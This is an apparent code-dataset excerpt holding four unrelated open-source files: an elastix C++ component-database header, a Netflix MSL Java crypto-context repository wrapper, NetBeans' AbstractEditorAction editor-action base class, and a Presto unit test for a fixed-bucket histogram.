max_stars_count
int64
301
224k
text
stringlengths
6
1.05M
token_count
int64
3
727k
318
<filename>Core/Install/elxComponentDatabase.h /*========================================================================= * * Copyright UMC Utrecht and contributors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0.txt * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * *=========================================================================*/ #ifndef elxComponentDatabase_h #define elxComponentDatabase_h #include "itkObject.h" #include "itkObjectFactory.h" #include <iostream> #include <string> #include <utility> #include <map> namespace elastix { /** * \class ComponentDatabase * * \brief The ComponentDatabase class is a class that stores the * New() functions of all components. * * In elastix the metric/transform/dimension/pixeltype etc. are all selected * at runtime. To make this possible, all components (metric/transform etc) * have to compiled for different dimension/pixeltype. The elx::ComponentDatabase * stores for each instance and each pixeltype/dimension a pointers to a function * that creates a component of the specific type. * * Each new component (a new metric for example should "make itself * known" by calling the elxInstallMacro, which is defined in * elxMacro.h . * * \sa elxInstallFunctions * \ingroup Install */ class ComponentDatabase : public itk::Object { public: /** Standard.*/ typedef ComponentDatabase Self; typedef itk::Object Superclass; typedef itk::SmartPointer<Self> Pointer; typedef itk::SmartPointer<const Self> ConstPointer; itkNewMacro(Self); itkTypeMacro(ComponentDatabase, Object); /** The Index is the number of the ElastixTypedef<number>::ElastixType.*/ typedef unsigned int IndexType; /** Typedefs for the CreatorMap*/ typedef itk::Object ObjectType; typedef ObjectType::Pointer ObjectPointer; /** PtrToCreator is a pointer to a function which * outputs an ObjectPointer and has no input arguments. */ typedef ObjectPointer (*PtrToCreator)(void); typedef std::string ComponentDescriptionType; typedef std::pair<ComponentDescriptionType, IndexType> CreatorMapKeyType; typedef PtrToCreator CreatorMapValueType; typedef std::map<CreatorMapKeyType, CreatorMapValueType> CreatorMapType; typedef CreatorMapType::value_type CreatorMapEntryType; /** Typedefs for the IndexMap.*/ /** The ImageTypeDescription contains the pixeltype (as a string) * and the dimension (unsigned int). */ typedef std::string PixelTypeDescriptionType; typedef unsigned int ImageDimensionType; typedef std::pair<PixelTypeDescriptionType, ImageDimensionType> ImageTypeDescriptionType; /** This pair contains the ImageTypeDescription of the FixedImageType * and the MovingImageType. */ typedef std::pair<ImageTypeDescriptionType, ImageTypeDescriptionType> IndexMapKeyType; typedef IndexType IndexMapValueType; typedef std::map<IndexMapKeyType, IndexMapValueType> IndexMapType; typedef IndexMapType::value_type IndexMapEntryType; /** Functions to set an entry in a map.*/ int SetCreator(const ComponentDescriptionType & name, IndexType i, PtrToCreator creator); int SetIndex(const PixelTypeDescriptionType & fixedPixelType, ImageDimensionType fixedDimension, const PixelTypeDescriptionType & movingPixelType, ImageDimensionType movingDimension, IndexType i); /** Functions to get an entry in a map */ PtrToCreator GetCreator(const ComponentDescriptionType & name, IndexType i) const; IndexType GetIndex(const PixelTypeDescriptionType & fixedPixelType, ImageDimensionType fixedDimension, const PixelTypeDescriptionType & movingPixelType, ImageDimensionType movingDimension) const; protected: ComponentDatabase() = default; ~ComponentDatabase() override = default; private: CreatorMapType CreatorMap; IndexMapType IndexMap; ComponentDatabase(const Self &) = delete; void operator=(const Self &) = delete; }; } // end namespace elastix #endif // end #ifndef elxComponentDatabase_h
1,711
559
/** * Copyright (c) 2014 Netflix, Inc. All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package mslcli.common.util; import com.netflix.msl.crypto.ICryptoContext; import com.netflix.msl.keyx.WrapCryptoContextRepository; /** * <p> * WrapCryptoContextRepositoryWrapper class makes pass-through calls to WrapCryptoContextRepositoryHandle. * Extending this class allows intercepting selected methods in order to customize their behavior, * including reporting, testing, etc. * </p> * * @author <NAME> <<EMAIL>> */ public class WrapCryptoContextRepositoryWrapper implements WrapCryptoContextRepositoryHandle { /** target WrapCryptoContextRepositoryHandle implementation to which all calls are delegated */ private final WrapCryptoContextRepositoryHandle rep; /** * <P>Constructor. * * @param rep underlying instance of WrapCryptoContextRepositoryHandle implementation */ public WrapCryptoContextRepositoryWrapper(final WrapCryptoContextRepositoryHandle rep) { if (rep == null) { throw new IllegalArgumentException("NULL WrapCryptoContextRepository"); } if (rep instanceof WrapCryptoContextRepositoryWrapper) { throw new IllegalArgumentException("WrapCryptoContextRepository is WrapCryptoContextRepositoryWrapper instance"); } this.rep = rep; } /** * @see com.netflix.msl.keyx.WrapCryptoContextRepository#addCryptoContext(byte[],ICryptoContext) */ @Override public void addCryptoContext(final byte[] wrapdata, final ICryptoContext cryptoContext) { rep.addCryptoContext(wrapdata, cryptoContext); } /** * @see com.netflix.msl.keyx.WrapCryptoContextRepository#getCryptoContext(byte[]) */ @Override public ICryptoContext getCryptoContext(final byte[] wrapdata) { return rep.getCryptoContext(wrapdata); } /** *@see com.netflix.msl.keyx.WrapCryptoContextRepository#removeCryptoContext(byte[]) */ @Override public void removeCryptoContext(final byte[] wrapdata) { rep.removeCryptoContext(wrapdata); } @Override public byte[] getLastWrapdata() { return rep.getLastWrapdata(); } @Override public String toString() { return rep.toString(); } }
937
1,056
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.netbeans.spi.editor; import java.awt.Component; import java.awt.event.ActionEvent; import java.beans.PropertyChangeEvent; import java.beans.PropertyChangeListener; import java.util.Collections; import java.util.HashMap; import java.util.Map; import java.util.Set; import java.util.logging.Level; import java.util.logging.LogRecord; import java.util.logging.Logger; import java.util.prefs.PreferenceChangeEvent; import java.util.prefs.PreferenceChangeListener; import java.util.prefs.Preferences; import javax.swing.Action; import javax.swing.JMenuItem; import javax.swing.KeyStroke; import javax.swing.text.JTextComponent; import javax.swing.text.TextAction; import org.netbeans.api.editor.EditorActionRegistration; import org.netbeans.modules.editor.lib2.actions.EditorActionUtilities; import org.netbeans.modules.editor.lib2.actions.MacroRecording; import org.netbeans.modules.editor.lib2.actions.PresenterUpdater; import org.netbeans.modules.editor.lib2.actions.WrapperEditorAction; import org.openide.util.NbBundle; import org.openide.util.RequestProcessor; import org.openide.util.WeakListeners; import org.openide.util.actions.Presenter; /** * Base class for editor actions that should be used together with * {@link EditorActionRegistration} annotation. * <br> * It may be constructed and used in two ways: direct construction or construction * upon invocation by a wrapper action: * <ul> * <li> Direct construction - action is created directly when an editor kit * gets constructed (its <code>kit.getActions()</code> gets used). * <br> * Advantages: Action controls all its behavior and properties (including enabled status) * since the begining. * <br> * Disadvantages: Action's class is loaded by classloader at editor kit's construction. * <br> * Example of registration: * <br> * <code> * public static final class MyAction extends AbstractEditorAction {<br> *<br> * &#64;EditorActionRegistration(name = "my-action")<br> * public static MyAction create(Map&lt;String,?&gt; attrs) {<br> * return new MyAction(attrs);<br> * }<br> * <br> * private MyAction(Map&lt;String,?&gt; attrs) {<br> * super(attrs);<br> * ...<br> * }<br> * <br> * protected void actionPerformed(ActionEvent evt, JTextComponent component) {<br> * ...<br> * }<br> * <br> * }<br> * </code> * </li> * * <li> Construction upon invocation - {@link WrapperEditorAction} is constructed * upon editor kit's construction and the target action only gets * created when the action needs to be executed * (upon {@link Action#actionPerformed(java.awt.event.ActionEvent)} call). * Existing properties of the wrapper action (including <code>Action.NAME</code> property) * get transferred into delegate action. * <br> * Advantages: Action's class is only loaded upon action's execution. * <br> * Disadvantages: Only a limited set of action's properties gets populated * (those defined by {@link EditorActionRegistration}). * <br> * Example of registration: * <br> * <code> * &#64;EditorActionRegistration(name = "my-action")<br> * public static final class MyAction extends AbstractEditorAction {<br> *<br> * public MyAction() {<br> * // Here the properties are not yet set.<br> * }<br> * <br> * &#64;Override<br> * protected void valuesUpdated() {<br> * // Here the wrapper action has transferred all its properties into this action<br> * // so properties like Action.NAME etc. are now populated.<br> * }<br> * <br> * protected void actionPerformed(ActionEvent evt, JTextComponent component) {<br> * ...<br> * }<br> * <br> * }<br> * </code> * </li> * </ul> * * @author <NAME> * @since 1.14 */ public abstract class AbstractEditorAction extends TextAction implements Presenter.Menu, Presenter.Popup, Presenter.Toolbar { /** * Key of {@link String} property containing a localized display name of the action. * <br> * It may be passed to {@link #getValue(java.lang.String) } to obtain the property value. */ public static final String DISPLAY_NAME_KEY = "displayName"; // (named in sync with AlwaysEnabledAction) NOI18N /** * Key of {@link String} property containing a localized text to be displayed in a main menu for this action. * <br> * It may be passed to {@link #getValue(java.lang.String) } to obtain the property value. */ public static final String MENU_TEXT_KEY = "menuText"; // (named in sync with AlwaysEnabledAction) NOI18N /** * Key of {@link String} property containing a localized text to be displayed in a popup menu for this action. * <br> * If this property is not set then {@link #MENU_TEXT_KEY} is attempted. * <br> * It may be passed to {@link #getValue(java.lang.String) } to obtain the property value. */ public static final String POPUP_TEXT_KEY = "popupText"; // (named in sync with AlwaysEnabledAction) NOI18N /** * Key of {@link String} property containing a string path to icon. */ public static final String ICON_RESOURCE_KEY = "iconBase"; // (named in sync with AlwaysEnabledAction) NOI18N /** * Key of {@link Boolean} property which determines whether icon of this action should be * displayed in menu (false or unset) or not (true). * <br> * It may be passed to {@link #getValue(java.lang.String) } to obtain the property value. * @since 1.74 */ public static final String NO_ICON_IN_MENU = "noIconInMenu"; // (named in sync with system actions) NOI18N /** * Key of {@link Boolean} property which determines if this action should be * displayed in key binding customizer (false or unset) or not (true). * <br> * It may be passed to {@link #getValue(java.lang.String) } to obtain the property value. * @since 1.74 */ public static final String NO_KEY_BINDING = "no-keybinding"; // (named in sync with BaseAction.NO_KEY_BINDING) NOI18N /** * Key of property containing a <code>List &lt; List &lt; {@link KeyStroke} &gt; &gt;</code> * listing all multi-key bindings by which the action may be invoked. * <br> * There may be multiple multi-key bindings to invoke a single action e.g. a code completion * may be invoked by Ctrl+SPACE and also Ctrl+'\' * (in fact each of these bindings could also consist of multiple keystrokes). * The more straightforward (shorter) bindings should generally precede the longer ones * so e.g. tooltip may just show the first binding of the list. */ public static final String MULTI_ACCELERATOR_LIST_KEY = "MultiAcceleratorListKey"; // NOI18N /** * Key of {@link Boolean} property containing a boolean whether the action should be performed asynchronously or synchronously. */ public static final String ASYNCHRONOUS_KEY = "asynchronous"; // (named in sync with AlwaysEnabledAction) NOI18N /** * Key of {@link String} property containing a mime type for which this action * is registered. * <br> * Note: action's mime-type is not necessarily the same like <code>EditorKit.getContentType()</code> * for which the action was created because the kit may inherit some actions * from a global mime-type "". * <br> * Value of this property is checked at action's initialization * (it needs to be passed as part of 'attrs' parameter to constructor). * Subsequent modifications of this property should be avoided and they will likely not affect its behavior. */ public static final String MIME_TYPE_KEY = "mimeType"; // (named in sync with doc's property) NOI18N /** * Key of {@link Preferences} property containing a node in preferences in which this action changes settings. */ public static final String PREFERENCES_NODE_KEY = "preferencesNode"; // (named in sync with AlwaysEnabledAction) NOI18N /** * Key of {@link String} property containing a name of a boolean key in preferences in which this action changes settings * (according to {@link #PREFERENCES_NODE_KEY} property). * <br> * Once this property is set then it's expected that {@link #PREFERENCES_NODE_KEY} is also set * to a valid value and checkbox menu presenter will be used automatically. */ public static final String PREFERENCES_KEY_KEY = "preferencesKey"; // (named in sync with AlwaysEnabledAction) NOI18N /** * Key of {@link String} property containing preferences key's default value. */ public static final String PREFERENCES_DEFAULT_KEY = "preferencesDefault"; // (named in sync with AlwaysEnabledAction) NOI18N /** * Key of {@link Boolean} property determining whether this is just a wrapper action * that is being used until the action needs to be executed. Then the target action * gets created and run. * <br> * Value of this property is checked at action's initialization * (it needs to be passed as part of 'attrs' parameter to constructor). * Subsequent modifications of this property should be avoided and they will likely not affect its behavior. */ public static final String WRAPPER_ACTION_KEY = "WrapperActionKey"; // NOI18N /** Logger for reporting invoked actions */ private static final Logger UILOG = Logger.getLogger("org.netbeans.ui.actions.editor"); // NOI18N /** * Whether invoked actions not logged by default, such as caret moves, should be logged too. * -J-Dorg.netbeans.editor.ui.actions.logging.detailed=true */ private static final boolean UI_LOG_DETAILED = Boolean.getBoolean("org.netbeans.editor.ui.actions.logging.detailed"); // -J-Dorg.netbeans.spi.editor.AbstractEditorAction.level=FINE private static final Logger LOG = Logger.getLogger(AbstractEditorAction.class.getName()); private static final long serialVersionUID = 1L; // Serialization no longer used (prevent warning) private static final Map<String,Boolean> LOGGED_ACTION_NAMES = Collections.synchronizedMap(new HashMap<String, Boolean>()); private Map<String,?> attrs; private final Map<String,Object> properties; /** * If this action is a wrapper action around the delegate action which will be constructed * upon performing the action then this variable will hold the delegate action instance. */ private Action delegateAction; private PreferencesNodeAndListener preferencesNodeAndListener; private static final Action UNITIALIZED_ACTION = EditorActionUtilities.createEmptyAction(); private static final Object MASK_NULL_VALUE = new Object(); /** * Constructor that takes a map of attributes that are typically obtained * from an xml layer when an action's creation method is annotated with * <code>@EditorActionRegistration</code>. * <br> * Example: * <br> * <code> * public static final class MyAction extends AbstractEditorAction {<br> *<br> * &#64;EditorActionRegistration(name = "my-action")<br> * public static MyAction create(Map&lt;String,?&gt; attrs) {<br> * return new MyAction(attrs);<br> * }<br> * <br> * private MyAction(Map&lt;String,?&gt; attrs) {<br> * super(attrs);<br> * ...<br> * }<br> * <br> * protected void actionPerformed(ActionEvent evt, JTextComponent component) {<br> * ...<br> * }<br> * <br> * }<br> * </code> * * @param attrs non-null attributes that hold action's properties. * The map is expected to be constant (no key-value changes). */ protected AbstractEditorAction(Map<String,?> attrs) { super(null); // Action.NAME property will come from attrs in createValue() properties = new HashMap<String,Object>(); if (attrs != null) { setAttrs(attrs); delegateAction = Boolean.TRUE.equals(attrs.get(WRAPPER_ACTION_KEY)) ? UNITIALIZED_ACTION : null; checkPreferencesKey(); } } /** * Constructor typically used when action is constructed lazily * upon its performing (the action is always enabled and its properties * are declared in xml layer by annotation processor for <code>@EditorActionRegistration</code>). * <br> * Example: * <br> * <code> * &#64;EditorActionRegistration(name = "my-action")<br> * public static final class MyAction extends AbstractEditorAction {<br> *<br> * public MyAction() {<br> * // Here the properties are not yet set.<br> * }<br> * <br> * &#64;Override<br> * protected void valuesUpdated() {<br> * // Here the wrapper action has transferred all its properties into this action<br> * // so properties like Action.NAME etc. are now populated.<br> * }<br> * <br> * protected void actionPerformed(ActionEvent evt, JTextComponent component) {<br> * ...<br> * }<br> * <br> * }<br> * </code> */ protected AbstractEditorAction() { this(null); } /** * Implementation of the action must be defined by descendants. * * @param evt action event (may be null). * @param component "active" text component obtained by {@link TextAction#getFocusedComponent()}. * It may be null. */ protected abstract void actionPerformed(ActionEvent evt, JTextComponent component); /** * Called when property values from wrapper action were transferred into delegate action (this action) * so properties like Action.NAME will start to return correct values. * * @see AbstractEditorAction() */ protected void valuesUpdated() { } /** * Possibly allow asynchronous execution of this action by returning true. * * @return Value of {@link #ASYNCHRONOUS_KEY} property is returned * but subclasses may possibly implement some more elaborate algorithm. */ protected boolean asynchronous() { return Boolean.TRUE.equals(getValue(ASYNCHRONOUS_KEY)); } /** * Reset caret's magic position. * <br> * Magic caret position is useful when going through empty lines with Down/Up arrow * then the caret returns on original horizontal column when a particular line has sufficient * number of characters. * * @param component target text component. */ protected final void resetCaretMagicPosition(JTextComponent component) { EditorActionUtilities.resetCaretMagicPosition(component); } /** * Get presenter of this action in main menu. * <br> * Default implementation uses {@link #MENU_TEXT_KEY} for menu item's text * and the presenter is placed in the menu according to rules * given in the corresponding {@link EditorActionRegistration}. * <br> * Moreover the default presenter is sensitive to currently active text component * and if the active editor kit has that action redefined it uses the active action's * properties for this presenter. * * @return instance of menu presenter for this action. */ @Override public JMenuItem getMenuPresenter() { // No reusal (as component it can only be present in a single place in component hierarchy) return PresenterUpdater.createMenuPresenter(this); } /** * Get presenter of this action in popup menu. * <br> * Default implementation uses {@link #POPUP_TEXT_KEY} for popup menu item's text * and the presenter is placed in the popup menu according to rules * given in the corresponding {@link EditorActionRegistration}. * * @return instance of popup menu presenter for this action. */ @Override public JMenuItem getPopupPresenter() { // No reusal (as component it can only be present in a single place in component hierarchy) return PresenterUpdater.createPopupPresenter(this); } /** * Get presenter of this action in toolbar. * * @return instance of toolbar presenter for this action. */ @Override public Component getToolbarPresenter() { // No reusal (as component it can only be present in a single place in component hierarchy) return PresenterUpdater.createToolbarPresenter(this); } /** * @return value of <code>Action.NAME</code> property. */ protected final String actionName() { return (String) getValue(Action.NAME); } @Override public final void actionPerformed(final ActionEvent evt) { // Possibly delegate to getDelegateAction() Action dAction = getDelegateAction(); if (dAction != null) { if (!(dAction instanceof AbstractEditorAction)) { checkTogglePreferencesValue(); } dAction.actionPerformed(evt); return; } final JTextComponent component = getTextComponent(evt); MacroRecording.get().recordAction(this, evt, component); // Possibly record action in a currently recorded macro if (UILOG.isLoggable(Level.FINE)) { // TODO [Mila] - Set action's property to disable UI logging String actionName = actionName(); Boolean logged = LOGGED_ACTION_NAMES.get(actionName); if (logged == null) { logged = isLogged(actionName); LOGGED_ACTION_NAMES.put(actionName, logged); } if (logged) { LogRecord r = new LogRecord(Level.FINE, "UI_ACTION_EDITOR"); // NOI18N r.setResourceBundle(NbBundle.getBundle(AbstractEditorAction.class)); if (evt != null) { r.setParameters(new Object[] { evt, evt.toString(), this, toString(), getValue(NAME) }); } else { r.setParameters(new Object[] { "no-ActionEvent", "no-ActionEvent", this, toString(), getValue(NAME) }); //NOI18N } r.setLoggerName(UILOG.getName()); UILOG.log(r); } } checkTogglePreferencesValue(); if (asynchronous()) { RequestProcessor.getDefault().post(new Runnable () { public void run() { actionPerformed(evt, component); } }); } else { actionPerformed(evt, component); } } private static boolean isLogged(String actionName) { return actionName != null && !"default-typed".equals(actionName) && //NOI18N -1 == actionName.indexOf("build-tool-tip") &&//NOI18N -1 == actionName.indexOf("build-popup-menu") &&//NOI18N -1 == actionName.indexOf("-kit-install") && //NOI18N (UI_LOG_DETAILED || ( -1 == actionName.indexOf("caret") && //NOI18N -1 == actionName.indexOf("delete") && //NOI18N -1 == actionName.indexOf("undo") &&//NOI18N -1 == actionName.indexOf("redo") &&//NOI18N -1 == actionName.indexOf("selection") && //NOI18N -1 == actionName.indexOf("page-up") &&//NOI18N -1 == actionName.indexOf("page-down") //NOI18N )); } @Override public final Object getValue(String key) { Action dAction = delegateAction; // Delegate whole getValue() if delegateAction already exists if (dAction != null && dAction != UNITIALIZED_ACTION) { Object value = dAction.getValue(key); if (value == null) { value = getValueLocal(key); if (value != null) { if (LOG.isLoggable(Level.FINE)) { LOG.fine("Transfer wrapper action property: key=" + key + ", value=" + value + '\n'); // NOI18N } dAction.putValue(key, value); } } return value; } return getValueLocal(key); } private Object getValueLocal(String key) { if ("enabled" == key) { // Same == in AbstractAction return enabled; } synchronized (properties) { Object value = properties.get(key); if (value == null) { if ("instanceCreate".equals(key)) { // Return null for this key return null; } if (value == null) { value = createValue(key); if (value == null) { // Do not query next time value = MASK_NULL_VALUE; } // Do not fire a change since property was not queried yet properties.put(key, value); } } if (value == MASK_NULL_VALUE) { value = null; } return value; } } /** * This method is called when a value for the given property * was not yet populated. * <br> * This method is only called once for the given property. Even if this method * returns null for the given property the infrastructure remembers the * returned value and no longer queries this method (the property can still * be modified by {@link #putValue(java.lang.String, java.lang.Object) }.) * <br> * Calling of this method and remembering of the returned value does not trigger * {@link #firePropertyChange(java.lang.String, java.lang.Object, java.lang.Object) }. * * @param key key of the property. * @return value of the property or null. */ protected Object createValue(String key) { Object value; if (Action.SMALL_ICON.equals(key)) { value = EditorActionUtilities.createSmallIcon(this); } else if (Action.LARGE_ICON_KEY.equals(key)) { value = EditorActionUtilities.createLargeIcon(this); } else if (attrs != null) { value = attrs.get(key); } else { value = null; } return value; } @Override public final void putValue(String key, Object value) { Action dAction = delegateAction; // Delegate whole putValue() if delegateAction already exists if (dAction != null && dAction != UNITIALIZED_ACTION) { dAction.putValue(key, value); return; } if (value == null && properties == null) { // Prevent NPE from super(null) in constructor return; } Object oldValue; if ("enabled" == key) { // Same == in AbstractAction oldValue = enabled; enabled = Boolean.TRUE.equals(value); } else { synchronized (properties) { oldValue = properties.put(key, (value != null) ? value : MASK_NULL_VALUE); } } firePropertyChange(key, oldValue, value); // Checks whether oldValue.equals(value) } @Override public boolean isEnabled() { Action dAction = delegateAction; if (dAction != null && dAction != UNITIALIZED_ACTION) { return dAction.isEnabled(); } else { return super.isEnabled(); } } @Override public void setEnabled(boolean enabled) { Action dAction = delegateAction; if (dAction != null && dAction != UNITIALIZED_ACTION) { dAction.setEnabled(enabled); } else { super.setEnabled(enabled); } } @Override public Object[] getKeys() { Set<String> keys = properties.keySet(); Object[] keysArray = new Object[keys.size()]; // Do not include "enabled" (same in AbstractAction) keys.toArray(keysArray); return keysArray; } private void setAttrs(Map<String,?> attrs) { this.attrs = attrs; } private Action getDelegateAction() { Action dAction = delegateAction; if (dAction == UNITIALIZED_ACTION) { // Delegate should be created dAction = (Action) attrs.get("delegate"); // NOI18N if (dAction == null) { throw new IllegalStateException("delegate is null for wrapper action"); } if (dAction instanceof AbstractEditorAction) { AbstractEditorAction aeAction = (AbstractEditorAction) dAction; // Give attributes from wrapper action to its delegate aeAction.setAttrs(attrs); transferProperties(dAction); aeAction.checkPreferencesKey(); aeAction.valuesUpdated(); // Note that delegate action will have its delegateAction left to be null // so it should not re-delegate (though "delegate" property is set in attrs) } else { // Non-AbstractEditorAction // Init Action.NAME (existing BaseAction instances registered by EditorActionRegistration // would not work properly without this) transferProperties(dAction); } // Sync enabled status of this according to dAction (do it after valuesUpdated()) boolean dActionEnabled = dAction.isEnabled(); if (isEnabled() != dActionEnabled) { super.setEnabled(dActionEnabled); } dAction.addPropertyChangeListener(WeakListeners.propertyChange( new DelegateActionPropertyChangeListener(this), dAction)); delegateAction = dAction; if (LOG.isLoggable(Level.FINE)) { LOG.fine("Delegate action created: " + dAction + '\n'); } } return dAction; } private void transferProperties(Action dAction) { boolean log = LOG.isLoggable(Level.FINE); if (log) { LOG.fine("Transfer properties into " + dAction + '\n'); // NOI18N } synchronized (properties) { for (Map.Entry<String,Object> entry : properties.entrySet()) { String key = entry.getKey(); Object value = entry.getValue(); if (value != MASK_NULL_VALUE) { // Allow to call createValue() for the property if (log) { LOG.fine(" key=" + key + ", value=" + value + '\n'); // NOI18N } dAction.putValue(key, value); } } } // Enabled status will be handled later in getDelegateAction() } private void checkPreferencesKey() { String preferencesKey = (String) attrs.get(PREFERENCES_KEY_KEY); if (preferencesKey != null) { preferencesNodeAndListener = new PreferencesNodeAndListener(preferencesKey); } } private void checkTogglePreferencesValue() { // Possibly toggle preferences node's value if this is a toggle action if (preferencesNodeAndListener != null) { preferencesNodeAndListener.togglePreferencesValue(); } } @Override public String toString() { String clsName = getClass().getSimpleName(); return clsName + '@' + System.identityHashCode(this) + " mime=\"" + getValue(MIME_TYPE_KEY) + // NOI18N "\" name=\"" + actionName() + "\""; // NOI18N } private static final class DelegateActionPropertyChangeListener implements PropertyChangeListener { private final AbstractEditorAction wrapper; DelegateActionPropertyChangeListener(AbstractEditorAction wrapper) { this.wrapper = wrapper; } @Override public void propertyChange(PropertyChangeEvent evt) { wrapper.firePropertyChange(evt.getPropertyName(), evt.getOldValue(), evt.getNewValue()); } } private final class PreferencesNodeAndListener implements PreferenceChangeListener, PropertyChangeListener { final Preferences node; final String key; boolean expectedPropertyChange; public PreferencesNodeAndListener(String key) { this.key = key; node = (Preferences) getValue(AbstractEditorAction.PREFERENCES_NODE_KEY); if (node == null) { throw new IllegalStateException( "PREFERENCES_KEY_KEY property set but PREFERENCES_NODE_KEY not for action=" + // NOI18N AbstractEditorAction.this); } node.addPreferenceChangeListener(WeakListeners.create(PreferenceChangeListener.class, this, node)); AbstractEditorAction.this.addPropertyChangeListener(this); putValue(Action.SELECTED_KEY, preferencesValue()); } private boolean preferencesValue() { boolean value = Boolean.TRUE.equals(getValue(AbstractEditorAction.PREFERENCES_DEFAULT_KEY)); value = node.getBoolean(key, value); return value; } private void togglePreferencesValue() { boolean value = preferencesValue(); setPreferencesValue(!value); } private void setPreferencesValue(boolean value) { // expectedPropertyChange = true; try { node.putBoolean(key, value); } finally { // expectedPropertyChange = false; } } @Override public void preferenceChange(PreferenceChangeEvent evt) { boolean selected = preferencesValue(); putValue(Action.SELECTED_KEY, selected); } @Override public void propertyChange(PropertyChangeEvent evt) { if (!expectedPropertyChange && Action.SELECTED_KEY.equals(evt.getPropertyName())) { boolean selected = (Boolean) evt.getNewValue(); setPreferencesValue(selected); } } } }
12,286
9,782
/* * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.facebook.presto.operator.aggregation.fixedhistogram; import com.google.common.collect.Streams; import org.testng.annotations.Test; import java.util.ArrayList; import java.util.stream.IntStream; import static org.testng.Assert.assertEquals; import static org.testng.Assert.assertTrue; public class TestFixedDoubleBreakdownHistogram { @Test public void testGetters() { FixedDoubleBreakdownHistogram histogram = new FixedDoubleBreakdownHistogram(200, 3.0, 4.0); assertEquals(histogram.getBucketCount(), 200); assertEquals(histogram.getMin(), 3.0); assertEquals(histogram.getMax(), 4.0); } @Test( expectedExceptions = IllegalArgumentException.class, expectedExceptionsMessageRegExp = "bucketCount must be at least 2: -200") public void testIllegalBucketCount() { new FixedDoubleBreakdownHistogram(-200, 3.0, 4.0); } @Test( expectedExceptions = IllegalArgumentException.class, expectedExceptionsMessageRegExp = "min must be smaller than max: 3.0 3.0") public void testIllegalMinMax() { new FixedDoubleBreakdownHistogram(200, 3.0, 3.0); } @Test public void testBasicOps() { FixedDoubleBreakdownHistogram histogram = new FixedDoubleBreakdownHistogram(200, 3.0, 4.0); histogram.add(3.1, 100.0); histogram.add(3.8, 200.0); histogram.add(3.1, 100.0); assertEquals( Streams.stream(histogram.iterator()).mapToDouble(FixedDoubleBreakdownHistogram.Bucket::getWeight).sum(), 300.0); } @Test public void testEqualValuesDifferentWeights() { FixedDoubleBreakdownHistogram histogram = new FixedDoubleBreakdownHistogram(200, 3.0, 4.0); histogram.add(3.5, 0.2, 1); histogram.add(3.5, 0.4, 1); histogram.add(3.5, 0.3, 2); Streams.stream(histogram.iterator()).forEach(bucketWeight -> { assertTrue(bucketWeight.getLeft() <= 3.5); assertTrue(bucketWeight.getRight() >= 3.5); assertTrue(bucketWeight.getLeft() < bucketWeight.getRight()); }); assertEquals( Streams.stream(histogram.iterator()).count(), 3); assertEquals( Streams.stream(histogram.iterator()).mapToDouble(FixedDoubleBreakdownHistogram.Bucket::getWeight).sum(), 0.9); assertEquals( Streams.stream(histogram.iterator()).mapToLong(FixedDoubleBreakdownHistogram.Bucket::getCount).sum(), 4); } @Test public void testMassive() { FixedDoubleBreakdownHistogram histogram = new FixedDoubleBreakdownHistogram(100, 0.0, 1.0); ArrayList<Double> values = new ArrayList<>(); ArrayList<Double> weights = new ArrayList<>(); for (int i = 0; i < 1000000; ++i) { double value = Math.random(); double weight = ((int) (10 * Math.random())) / 10.0; values.add(value); weights.add(weight); histogram.add(value, weight, 1); } Streams.stream(histogram.iterator()).forEach(bucketWeight -> { long count = 0; for (int i = 0; i < values.size(); ++i) { if (bucketWeight.getLeft() < values.get(i) && values.get(i) <= bucketWeight.getRight() && bucketWeight.getWeight() == weights.get(i)) { ++count; } } assertEquals(bucketWeight.getCount(), count); }); } @Test public void testMassiveMerge() { ArrayList<Double> values = new ArrayList<>(); ArrayList<Double> weights = new ArrayList<>(); FixedDoubleBreakdownHistogram left = new FixedDoubleBreakdownHistogram(100, 0.0, 1.0); for (int i = 0; i < 100; ++i) { double value = Math.random(); double weight = Math.random(); values.add(value); weights.add(weight); left.add(value, weight, 1); } FixedDoubleBreakdownHistogram right = new FixedDoubleBreakdownHistogram(100, 0.0, 1.0); ArrayList<Double> rightValues = new ArrayList<>(); ArrayList<Double> rightWeights = new ArrayList<>(); for (int i = 0; i < 100; ++i) { double value = Math.random(); double weight = Math.random(); values.add(value); weights.add(weight); rightValues.add(value); rightWeights.add(weight); right.add(value, weight, 1); } left.mergeWith(right.clone()); Streams.stream(left.iterator()).forEach(b -> { long count = IntStream.range(0, values.size()) .filter(i -> b.getLeft() < values.get(i) && values.get(i) <= b.getRight() && b.getWeight() == weights.get(i)) .count(); assertEquals(b.getCount(), count); }); Streams.stream(right.iterator()).forEach(b -> { long count = IntStream.range(0, rightValues.size()) .filter(i -> b.getLeft() < rightValues.get(i) && rightValues.get(i) <= b.getRight() && b.getWeight() == rightWeights.get(i)) .count(); assertEquals(b.getCount(), count); }); } }
2,748
862
